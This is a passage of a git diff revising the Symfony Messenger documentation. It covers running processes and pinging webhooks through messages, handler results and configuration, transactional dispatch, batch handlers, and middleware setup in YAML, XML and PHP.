passed:: + + use Symfony\Component\Messenger\MessageBusInterface; + use Symfony\Component\Process\Messenger\RunProcessMessage; + + class CleanUpService + { + public function __construct( + private readonly MessageBusInterface $bus, + ) { + } + + public function cleanUp(): void + { + $this->bus->dispatch(new RunProcessMessage(['rm', '-rf', 'var/log/temp/*'], cwd: '/my/custom/working-dir')); + + // ... + } + } + +If you want to use shell features such as redirections or pipes, use the static +:method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` factory method:: + + use Symfony\Component\Messenger\MessageBusInterface; + use Symfony\Component\Process\Messenger\RunProcessMessage; + + class CleanUpService + { + public function __construct( + private readonly MessageBusInterface $bus, + ) { + } + + public function cleanUp(): void + { + $this->bus->dispatch(RunProcessMessage::fromShellCommandline('echo "Hello World" > var/log/hello.txt')); + + // ... + } + } + +For more information, read the documentation about +:ref:`using features from the OS shell <process-using-features-from-the-os-shell>`. + +.. versionadded:: 7.3 + + The ``RunProcessMessage::fromShellCommandline()`` method was introduced in Symfony 7.3. + +Once handled, the handler will return a +:class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext` which +contains many useful information such as the exit code or the output of the +process. You can refer to the page dedicated on +:ref:`handler results <messenger-getting-handler-results>` for more information. + +Pinging A Webservice +-------------------- + +Sometimes, you may need to regularly ping a webservice to get its status, e.g. +is it up or down. It is possible to do so by dispatching a +:class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`:: + + use Symfony\Component\HttpClient\Messenger\PingWebhookMessage; + use Symfony\Component\Messenger\MessageBusInterface; + + class LivenessService + { + public function __construct(private readonly MessageBusInterface $bus) + { + } + + public function ping(): void + { + // An HttpExceptionInterface is thrown on 3xx/4xx/5xx + $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status')); + + // Ping, but does not throw on 3xx/4xx/5xx + $this->bus->dispatch(new PingWebhookMessage('GET', 'https://example.com/status', throw: false)); + + // Any valid HttpClientInterface option can be used + $this->bus->dispatch(new PingWebhookMessage('POST', 'https://example.com/status', [ + 'headers' => [ + 'Authorization' => 'Bearer ...' + ], + 'json' => [ + 'data' => 'some-data', + ], + ])); + } + } + +The handler will return a +:class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`, allowing you to +gather and process information returned by the HTTP request. + +Getting Results from your Handlers +---------------------------------- + +When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware` +adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message. +You can use this to get the value returned by the handler(s):: + + use Symfony\Component\Messenger\MessageBusInterface; + use Symfony\Component\Messenger\Stamp\HandledStamp; + + $envelope = $messageBus->dispatch(new SomeMessage()); + + // get the value that was returned by the last message handler + $handledStamp = $envelope->last(HandledStamp::class); + $handledStamp->getResult(); + + // or get info about all of handlers + $handledStamps = $envelope->all(HandledStamp::class); + +.. _messenger-getting-handler-results: + +Getting Results when Working with Command & Query Buses +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The Messenger component can be used in CQRS architectures where command & query +buses are central pieces of the application. Read Martin Fowler's +`article about CQRS`_ to learn more and +:ref:`how to configure multiple buses <messenger-multiple-buses>`. + +As queries are usually synchronous and expected to be handled once, +getting the result from the handler is a common need. + +A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result +of the handler when processing synchronously. It also ensures that exactly one +handler is registered. The ``HandleTrait`` can be used in any class that has a +``$messageBus`` property:: + + // src/Action/ListItems.php + namespace App\Action; + + use App\Message\ListItemsQuery; + use App\MessageHandler\ListItemsQueryResult; + use Symfony\Component\Messenger\HandleTrait; + use Symfony\Component\Messenger\MessageBusInterface; + + class ListItems + { + use HandleTrait; + + public function __construct( + private MessageBusInterface $messageBus, + ) { + } + + public function __invoke(): void + { + $result = $this->query(new ListItemsQuery(/* ... */)); + + // Do something with the result + // ... + } + + // Creating such a method is optional, but allows type-hinting the result + private function query(ListItemsQuery $query): ListItemsQueryResult + { + return $this->handle($query); + } + } + +Hence, you can use the trait to create command & query bus classes. +For example, you could create a special ``QueryBus`` class and inject it +wherever you need a query bus behavior instead of the ``MessageBusInterface``:: + + // src/MessageBus/QueryBus.php + namespace App\MessageBus; + + use Symfony\Component\Messenger\Envelope; + use Symfony\Component\Messenger\HandleTrait; + use Symfony\Component\Messenger\MessageBusInterface; + + class QueryBus + { + use HandleTrait; + + public function __construct( + private MessageBusInterface $messageBus, + ) { + } + + /** + * @param object|Envelope $query + * + * @return mixed The handler returned value + */ + public function query($query): mixed + { + return $this->handle($query); + } + } + +You can also add new stamps when handling a message; they will be appended +to the existing ones:: + + $this->handle(new SomeMessage($data), [new SomeStamp(), new AnotherStamp()]); + +.. versionadded:: 7.3 + + The ``$stamps`` parameter of the ``handle()`` method was introduced in Symfony 7.3. + +Customizing Handlers +-------------------- + +.. _messenger-handler-config: + +Manually Configuring Handlers +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`. +But, you can also configure a handler manually - and pass it some extra config - +while using ``#AsMessageHandler`` attribute or tagging the handler service +with ``messenger.message_handler``. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/MessageHandler/SmsNotificationHandler.php + namespace App\MessageHandler; + + use App\Message\OtherSmsNotification; + use App\Message\SmsNotification; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; + + #[AsMessageHandler(fromTransport: 'async', priority: 10)] + class SmsNotificationHandler + { + public function __invoke(SmsNotification $message): void + { + // ... + } + } + + .. code-block:: yaml + + # config/services.yaml + services: + App\MessageHandler\SmsNotificationHandler: + tags: [messenger.message_handler] + + # or configure with options + tags: + - + name: messenger.message_handler + # only needed if can't be guessed by type-hint + handles: App\Message\SmsNotification + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\MessageHandler\SmsNotificationHandler"> + <!-- handles is only needed if it can't be guessed by type-hint --> + <tag name="messenger.message_handler" + handles="App\Message\SmsNotification"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + use App\Message\SmsNotification; + use App\MessageHandler\SmsNotificationHandler; + + $container->register(SmsNotificationHandler::class) + ->addTag('messenger.message_handler', [ + // only needed if can't be guessed by type-hint + 'handles' => SmsNotification::class, + ]); + +Possible options to configure with tags are: + +``bus`` + Name of the bus from which the handler can receive messages, by default all buses. + +``from_transport`` + Name of the transport from which the handler can receive messages, by default + all transports. + +``handles`` + Type of messages (FQCN) that can be processed by the handler, only needed if + can't be guessed by type-hint. + +``method`` + Name of the method that will process the message. + +``priority`` + Defines the order in which the handler is executed when multiple handlers + can process the same message; those with higher priority run first. + +.. _handler-subscriber-options: + +Handling Multiple Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A single handler class can handle multiple messages. For that add the +``#AsMessageHandler`` attribute to all the handling methods:: + + // src/MessageHandler/SmsNotificationHandler.php + namespace App\MessageHandler; + + use App\Message\OtherSmsNotification; + use App\Message\SmsNotification; + + class SmsNotificationHandler + { + #[AsMessageHandler] + public function handleSmsNotification(SmsNotification $message): void + { + // ... + } + + #[AsMessageHandler] + public function handleOtherSmsNotification(OtherSmsNotification $message): void + { + // ... + } + } + +.. _messenger-transactional-messages: + +Transactional Messages: Handle New Messages After Handling is Done +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +A message handler can ``dispatch`` new messages while handling others, to either +the same or a different bus (if the application has +:ref:`multiple buses <messenger-multiple-buses>`). Any errors or exceptions that +occur during this process can have unintended consequences, such as: + +#. If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws + an exception, then any database transactions in the original handler will be + rolled back. +#. If the message is dispatched to a different bus, then the dispatched message + will be handled even if some code later in the current handler throws an exception. + +An Example ``RegisterUser`` Process +................................... + +Consider an application with both a *command* and an *event* bus. The application +dispatches a command named ``RegisterUser`` to the command bus. The command is +handled by the ``RegisterUserHandler`` which creates a ``User`` object, stores +that object to a database and dispatches a ``UserRegistered`` message to the event bus. + +There are many handlers to the ``UserRegistered`` message, one handler may send +a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware`` +to wrap all database queries in one database transaction. + +**Problem 1:** If an exception is thrown when sending the welcome email, then +the user will not be created because the ``DoctrineTransactionMiddleware`` will +rollback the Doctrine transaction, in which the user has been created. + +**Problem 2:** If an exception is thrown when saving the user to the database, +the welcome email is still sent because it is handled asynchronously. + +DispatchAfterCurrentBusMiddleware Middleware +............................................ + +For many applications, the desired behavior is to *only* handle messages that +are dispatched by a handler once that handler has fully finished. This can be done by +using the ``DispatchAfterCurrentBusMiddleware`` and adding a +``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`:: + + // src/Messenger/CommandHandler/RegisterUserHandler.php + namespace App\Messenger\CommandHandler; + + use App\Entity\User; + use App\Messenger\Command\RegisterUser; + use App\Messenger\Event\UserRegistered; + use Doctrine\ORM\EntityManagerInterface; + use Symfony\Component\Messenger\Envelope; + use Symfony\Component\Messenger\MessageBusInterface; + use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp; + + class RegisterUserHandler + { + public function __construct( + private MessageBusInterface $eventBus, + private EntityManagerInterface $em, + ) { + } + + public function __invoke(RegisterUser $command): void + { + $user = new User($command->getUuid(), $command->getName(), $command->getEmail()); + $this->em->persist($user); + + // The DispatchAfterCurrentBusStamp marks the event message to be handled + // only if this handler does not throw an exception. + + $event = new UserRegistered($command->getUuid()); + $this->eventBus->dispatch( + (new Envelope($event)) + ->with(new DispatchAfterCurrentBusStamp()) + ); + + // ... + } + } + +.. code-block:: php + + // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php + namespace App\Messenger\EventSubscriber; + + use App\Entity\User; + use App\Messenger\Event\UserRegistered; + use Doctrine\ORM\EntityManagerInterface; + use Symfony\Component\Mailer\MailerInterface; + use Symfony\Component\Mime\RawMessage; + + class WhenUserRegisteredThenSendWelcomeEmail + { + public function __construct( + private MailerInterface $mailer, + private EntityManagerInterface $em, + ) { + } + + public function __invoke(UserRegistered $event): void + { + $user = $this->em->getRepository(User::class)->find($event->getUuid()); + + $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName())); + } + } + +This means that the ``UserRegistered`` message would not be handled until +*after* the ``RegisterUserHandler`` had completed and the new ``User`` was +persisted to the database. If the ``RegisterUserHandler`` encounters an +exception, the ``UserRegistered`` event will never be handled. And if an +exception is thrown while sending the welcome email, the Doctrine transaction +will not be rolled back. + +.. note:: + + If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that + exception will be wrapped into a ``DelayedMessageHandlingException``. Using + ``DelayedMessageHandlingException::getWrappedExceptions`` will give you all + exceptions that are thrown while handling a message with the + ``DispatchAfterCurrentBusStamp``. + +The ``dispatch_after_current_bus`` middleware is enabled by default. If you're +configuring your middleware manually, be sure to register +``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware +chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for +*all* of the buses being used. + +Binding Handlers to Different Transports +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Each message can have multiple handlers, and when a message is consumed +*all* of its handlers are called. But you can also configure a handler to only +be called when it's received from a *specific* transport. This allows you to +have a single message where each handler is called by a different "worker" +that's consuming a different transport. + +Suppose you have an ``UploadedImage`` message with two handlers: + +* ``ThumbnailUploadedImageHandler``: you want this to be handled by + a transport called ``image_transport`` + +* ``NotifyAboutNewUploadedImageHandler``: you want this to be handled + by a transport called ``async_priority_normal`` + +To do this, add the ``from_transport`` option to each handler. For example:: + + // src/MessageHandler/ThumbnailUploadedImageHandler.php + namespace App\MessageHandler; + + use App\Message\UploadedImage; + + #[AsMessageHandler(fromTransport: 'image_transport')] + class ThumbnailUploadedImageHandler + { + public function __invoke(UploadedImage $uploadedImage): void + { + // do some thumbnailing + } + } + +And similarly:: + + // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php + // ... + + #[AsMessageHandler(fromTransport: 'async_priority_normal')] + class NotifyAboutNewUploadedImageHandler + { + // ... + } + +Then, make sure to "route" your message to *both* transports: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/messenger.yaml + framework: + messenger: + transports: + async_priority_normal: # ... + image_transport: # ... + + routing: + # ... + 'App\Message\UploadedImage': [image_transport, async_priority_normal] + + .. code-block:: xml + + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <framework:config> + <framework:messenger> + <framework:transport name="async_priority_normal" dsn="..."/> + <framework:transport name="image_transport" dsn="..."/> + + <framework:routing message-class="App\Message\UploadedImage"> + <framework:sender service="image_transport"/> + <framework:sender service="async_priority_normal"/> + </framework:routing> + </framework:messenger> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $messenger->transport('async_priority_normal')->dsn('...'); + $messenger->transport('image_transport')->dsn('...'); + + $messenger->routing('App\Message\UploadedImage') + ->senders(['image_transport', 'async_priority_normal']); + }; + +That's it! You can now consume each transport: + +.. code-block:: terminal + + # will only call ThumbnailUploadedImageHandler when handling the message + $ php bin/console messenger:consume image_transport -vv + + $ php bin/console messenger:consume async_priority_normal -vv + +.. warning:: + + If a handler does *not* have ``from_transport`` config, it will be executed + on *every* transport that the message is received from. + +Process Messages by Batches +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can declare "special" handlers which will process messages by batch. +By doing so, the handler will wait for a certain amount of messages to be +pending before processing them. The declaration of a batch handler is done +by implementing +:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerInterface`. The +:class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` is also +provided in order to ease the declaration of these special handlers:: + + use Symfony\Component\Messenger\Handler\Acknowledger; + use Symfony\Component\Messenger\Handler\BatchHandlerInterface; + use Symfony\Component\Messenger\Handler\BatchHandlerTrait; + + class MyBatchHandler implements BatchHandlerInterface + { + use BatchHandlerTrait; + + public function __invoke(MyMessage $message, ?Acknowledger $ack = null): mixed + { + return $this->handle($message, $ack); + } + + private function process(array $jobs): void + { + foreach ($jobs as [$message, $ack]) { + try { + // Compute $result from $message... + + // Acknowledge the processing of the message + $ack->ack($result); + } catch (\Throwable $e) { + $ack->nack($e); + } + } + } + + // Optionally, you can override some of the trait methods, such as the + // `getBatchSize()` method, to specify your own batch size... + private function getBatchSize(): int + { + return 100; + } + } + +.. note:: + + When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is + expected to be handled synchronously. Otherwise, ``__invoke()`` is + expected to return the number of pending messages. The + :class:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait` handles + this for you. + +.. note:: + + By default, pending batches are flushed when the worker is idle as well + as when it is stopped. + +Extending Messenger +------------------- + +Envelopes & Stamps +~~~~~~~~~~~~~~~~~~ + +A message can be any PHP object. Sometimes, you may need to configure something +extra about the message - like the way it should be handled inside AMQP or adding +a delay before the message should be handled. You can do that by adding a "stamp" +to your message:: + + use Symfony\Component\Messenger\Envelope; + use Symfony\Component\Messenger\MessageBusInterface; + use Symfony\Component\Messenger\Stamp\DelayStamp; + + public function index(MessageBusInterface $bus): void + { + // wait 5 seconds before processing + $bus->dispatch(new SmsNotification('...'), [ + new DelayStamp(5000), + ]); + + // or explicitly create an Envelope + $bus->dispatch(new Envelope(new SmsNotification('...'), [ + new DelayStamp(5000), + ])); + + // ... + } + +Internally, each message is wrapped in an ``Envelope``, which holds the message +and stamps. You can create this manually or allow the message bus to do it. There +are a variety of different stamps for different purposes and they're used internally +to track information about a message - like the message bus that's handling it +or if it's being retried after failure. + +.. _messenger_middleware: + +Middleware +~~~~~~~~~~ + +What happens when you dispatch a message to a message bus depends on its +collection of middleware and their order. By default, the middleware configured +for each bus looks like this: + +#. ``add_bus_name_stamp_middleware`` - adds a stamp to record which bus this + message was dispatched into; -The transport has a number of options: +#. ``dispatch_after_current_bus``- see :ref:`messenger-transactional-messages`; -====================== ====================================== =================================== - Option Description Default -====================== ====================================== =================================== -``access_key`` AWS access key -``account`` Identifier of the AWS account The owner of the credentials -``auto_setup`` Whether the table should be created ``true`` - automatically during send / get. -``buffer_size`` Number of messages to prefetch 9 -``endpoint`` Absolute URL to the SQS service https://sqs.eu-west-1.amazonaws.com -``poll_timeout`` Wait for new message duration in 0.1 - seconds -``queue_name`` Name of the queue messages -``region`` Name of the AWS region eu-west-1 -``secret_key`` AWS secret key -``visibility_timeout`` Amount of seconds the message will Queue's configuration - not be visible (`Visibility Timeout`_) -``wait_time`` `Long polling`_ duration in seconds 20 -====================== ====================================== =================================== +#. ``failed_message_processing_middleware`` - processes messages that are being + retried via the :ref:`failure transport <messenger-failure-transport>` to make + them properly function as if they were being received from their original transport; -.. note:: +#. Your own collection of middleware_; - The ``wait_time`` parameter defines the maximum duration Amazon SQS should - wait until a message is available in a queue before sending a response. - It helps reducing the cost of using Amazon SQS by eliminating the number - of empty responses. +#. ``send_message`` - if routing is configured for the transport, this sends + messages to that transport and stops the middleware chain; - The ``poll_timeout`` parameter defines the duration the receiver should wait - before returning null. It avoids blocking other receivers from being called. +#. ``handle_message`` - calls the message handler(s) for the given message. .. note:: - If the queue name is suffixed by ``.fifo``, AWS will create a `FIFO queue`_. - Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp` - to define the ``Message group ID`` and the ``Message deduplication ID``. + These middleware names are actually shortcut names. The real service ids + are prefixed with ``messenger.middleware.`` (e.g. ``messenger.middleware.handle_message``). - FIFO queues don't support setting a delay per message, a value of ``delay: 0`` - is required in the retry strategy settings. +The middleware are executed when the message is dispatched but *also* again when +a message is received via the worker (for messages that were sent to a transport +to be handled asynchronously). Keep this in mind if you create your own middleware. -Serializing Messages -~~~~~~~~~~~~~~~~~~~~ +You can add your own middleware to this list, or completely disable the default +middleware and *only* include your own. -When messages are sent to (and received from) a transport, they're serialized -using PHP's native ``serialize()`` & ``unserialize()`` functions. You can change -this globally (or for each transport) to a service that implements -:class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\SerializerInterface`: +If a middleware service is abstract, you can configure its constructor's arguments +and a different instance will be created per bus. .. configuration-block:: @@ -1354,16 +3049,18 @@ this globally (or for each transport) to a service that implements # config/packages/messenger.yaml framework: messenger: - serializer: - default_serializer: messenger.transport.symfony_serializer - symfony_serializer: - format: json - context: { } + buses: + messenger.bus.default: + # disable the default middleware + default_middleware: false - transports: - async_priority_normal: - dsn: # ... - serializer: messenger.transport.symfony_serializer + middleware: + # use and configure parts of the default middleware you want + - 'add_bus_name_stamp_middleware': ['messenger.bus.default'] + + # add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface + - 'App\Middleware\MyMiddleware' + - 'App\Middleware\AnotherMiddleware' .. code-block:: xml @@ -1379,13 +3076,18 @@ this globally (or for each transport) to a service that implements <framework:config> <framework:messenger> - <framework:serializer default-serializer="messenger.transport.symfony_serializer"> - <framework:symfony-serializer format="json"> - <framework:context/> - </framework:symfony-serializer> - </framework:serializer> + <!-- default-middleware: disable the default middleware --> + <framework:bus name="messenger.bus.default" default-middleware="false"> - <framework:transport name="async_priority_normal" dsn="..." serializer="messenger.transport.symfony_serializer"/> + <!-- use and configure parts of the default middleware you want --> + <framework:middleware id="add_bus_name_stamp_middleware"> + <framework:argument>messenger.bus.default</framework:argument> + </framework:middleware> + + <!-- add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface --> + <framework:middleware id="App\Middleware\MyMiddleware"/> + <framework:middleware id="App\Middleware\AnotherMiddleware"/> + </framework:bus> </framework:messenger> </framework:config> </container> @@ -1393,200 +3095,286 @@ this globally (or for each transport) to a service that implements .. code-block:: php // config/packages/messenger.php - $container->loadFromExtension('framework', [ - 'messenger' => [ - 'serializer' => [ - 'default_serializer' => 'messenger.transport.symfony_serializer', - 'symfony_serializer' => [ - 'format' => 'json', - 'context' => [], - ], - ], - 'transports' => [ - 'async_priority_normal' => [ - 'dsn' => // ... - 'serializer' => 'messenger.transport.symfony_serializer', - ], - ], - ], - ]); + use Symfony\Config\FrameworkConfig; -The ``messenger.transport.symfony_serializer`` is a built-in service that uses -the :doc:`Serializer component </serializer>` and can be configured in a few ways. -If you *do* choose to use the Symfony serializer, you can control the context -on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp` -(see `Envelopes & Stamps`_). + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); -.. tip:: + $bus = $messenger->bus('messenger.bus.default') + ->defaultMiddleware(false); // disable the default middleware - When sending/receiving messages to/from another application, you may need - more control over the serialization process. Using a custom serializer - provides that control. See `SymfonyCasts' message serializer tutorial`_ for - details. + // use and configure parts of the default middleware you want + $bus->middleware()->id('add_bus_name_stamp_middleware')->arguments(['messenger.bus.default']); -Customizing Handlers --------------------- + // add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface + $bus->middleware()->id('App\Middleware\MyMiddleware'); + $bus->middleware()->id('App\Middleware\AnotherMiddleware'); + }; -.. _messenger-handler-config: +.. tip:: -Manually Configuring Handlers -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + If you have installed the MakerBundle, you can use the ``make:messenger-middleware`` + command to bootstrap the creation of your own messenger middleware. -Symfony will normally :ref:`find and register your handler automatically <messenger-handler>`. -But, you can also configure a handler manually - and pass it some extra config - -by tagging the handler service with ``messenger.message_handler`` +.. _middleware-doctrine: + +Middleware for Doctrine +~~~~~~~~~~~~~~~~~~~~~~~ + +If you use Doctrine in your app, a number of optional middleware exist that you +may want to use: .. configuration-block:: .. code-block:: yaml - # config/services.yaml - services: - App\MessageHandler\SmsNotificationHandler: - tags: [messenger.message_handler] + # config/packages/messenger.yaml + framework: + messenger: + buses: + command_bus: + middleware: + # each time a message is handled, the Doctrine connection + # is "pinged" and reconnected if it's closed. Useful + # if your workers run for a long time and the database + # connection is sometimes lost + - doctrine_ping_connection - # or configure with options - tags: - - - name: messenger.message_handler - # only needed if can't be guessed by type-hint - handles: App\Message\SmsNotification + # After handling, the Doctrine connection is closed, + # which can free up database connections in a worker, + # instead of keeping them open forever + - doctrine_close_connection + + # logs an error when a Doctrine transaction was opened but not closed + - doctrine_open_transaction_logger + + # wraps all handlers in a single Doctrine transaction + # handlers do not need to call flush() and an error + # in any handler will cause a rollback + - doctrine_transaction + + # or pass a different entity manager to any + #- doctrine_transaction: ['custom'] .. code-block:: xml - <!-- config/services.xml --> + <!-- config/packages/messenger.xml --> <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - <services> - <service id="App\MessageHandler\SmsNotificationHandler"> - <!-- handles is only needed if it can't be guessed by type-hint --> - <tag name="messenger.message_handler" - handles="App\Message\SmsNotification"/> - </service> - </services> + <framework:config> + <framework:messenger> + <framework:bus name="command_bus"> + <framework:middleware id="doctrine_transaction"/> + <framework:middleware id="doctrine_ping_connection"/> + <framework:middleware id="doctrine_close_connection"/> + <framework:middleware id="doctrine_open_transaction_logger"/> + + <!-- or pass a different entity manager to any --> + <!-- + <framework:middleware id="doctrine_transaction"> + <framework:argument>custom</framework:argument> + </framework:middleware> + --> + </framework:bus> + </framework:messenger> + </framework:config> </container> .. code-block:: php - // config/services.php - use App\Message\SmsNotification; - use App\MessageHandler\SmsNotificationHandler; + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); + + $bus = $messenger->bus('command_bus'); + $bus->middleware()->id('doctrine_transaction'); + $bus->middleware()->id('doctrine_ping_connection'); + $bus->middleware()->id('doctrine_close_connection'); + $bus->middleware()->id('doctrine_open_transaction_logger'); + // Using another entity manager + $bus->middleware()->id('doctrine_transaction') + ->arguments(['custom']); + }; + +Other Middlewares +~~~~~~~~~~~~~~~~~ - $container->register(SmsNotificationHandler::class) - ->addTag('messenger.message_handler', [ - // only needed if can't be guessed by type-hint - 'handles' => SmsNotification::class, - ]); +Add the ``router_context`` middleware if you need to generate absolute URLs in +the consumer (e.g. render a template with links). This middleware stores the +original request context (i.e. the host, the HTTP port, etc.) which is needed +when building absolute URLs. -Possible options to configure with tags are: +Add the ``validation`` middleware if you need to validate the message +object using the :doc:`Validator component </components/validator>` before handling it. +If validation fails, a ``ValidationFailedException`` will be thrown. The +:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used +to configure the validation groups. -* ``bus`` -* ``from_transport`` -* ``handles`` -* ``method`` -* ``priority`` +.. configuration-block:: -Handler Subscriber & Options -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + .. code-block:: yaml -A handler class can handle multiple messages or configure itself by implementing -:class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`:: + # config/packages/messenger.yaml + framework: + messenger: + buses: + command_bus: + middleware: + - router_context + - validation - // src/MessageHandler/SmsNotificationHandler.php - namespace App\MessageHandler; + .. code-block:: xml - use App\Message\OtherSmsNotification; - use App\Message\SmsNotification; - use Symfony\Component\Messenger\Handler\MessageSubscriberInterface; + <!-- config/packages/messenger.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> - class SmsNotificationHandler implements MessageSubscriberInterface - { - public function __invoke(SmsNotification $message) - { - // ... - } + <framework:config> + <framework:messenger> + <framework:bus name="command_bus"> + <framework:middleware id="router_context"/> + <framework:middleware id="validation"/> + </framework:bus> + </framework:messenger> + </framework:config> + </container> - public function handleOtherSmsNotification(OtherSmsNotification $message) - { - // ... - } + .. code-block:: php - public static function getHandledMessages(): iterable - { - // handle this message on __invoke - yield SmsNotification::class; - - // also handle this message on handleOtherSmsNotification - yield OtherSmsNotification::class => [ - 'method' => 'handleOtherSmsNotification', - //'priority' => 0, - //'bus' => 'messenger.bus.default', - ]; - } - } + // config/packages/messenger.php + use Symfony\Config\FrameworkConfig; -Binding Handlers to Different Transports -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + return static function (FrameworkConfig $framework): void { + $messenger = $framework->messenger(); -Each message can have multiple handlers, and when a message is consumed -*all* of its handlers are called. But you can also configure a handler to only -be called when it's received from a *specific* transport. This allows you to -have a single message where each handler is called by a different "worker" -that's consuming a different transport. + $bus = $messenger->bus('command_bus'); + $bus->middleware()->id('router_context'); + $bus->middleware()->id('validation'); + }; -Suppose you have an ``UploadedImage`` message with two handlers: +Messenger Events +~~~~~~~~~~~~~~~~ -* ``ThumbnailUploadedImageHandler``: you want this to be handled by - a transport called ``image_transport`` +In addition to middleware, Messenger also dispatches several events. You can +:doc:`create an event listener </event_dispatcher>` to hook into various parts +of the process. For each, the event class is the event name: -* ``NotifyAboutNewUploadedImageHandler``: you want this to be handled - by a transport called ``async_priority_normal`` +* :class:`Symfony\\Component\\Messenger\\Event\\SendMessageToTransportsEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageFailedEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRateLimitedEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent` +* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent` -To do this, add the ``from_transport`` option to each handler. For example:: +Additional Handler Arguments +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // src/MessageHandler/ThumbnailUploadedImageHandler.php - namespace App\MessageHandler; +It's possible to have messenger pass additional data to the message handler +using the :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`. +Add this stamp to the envelope in a middleware and fill it with any additional +data you want to have available in the handler:: - use App\Message\UploadedImage; - use Symfony\Component\Messenger\Handler\MessageSubscriberInterface; + // src/Messenger/AdditionalArgumentMiddleware.php + namespace App\Messenger; + + use Symfony\Component\Messenger\Envelope; + use Symfony\Component\Messenger\Middleware\MiddlewareInterface; + use Symfony\Component\Messenger\Middleware\StackInterface; + use 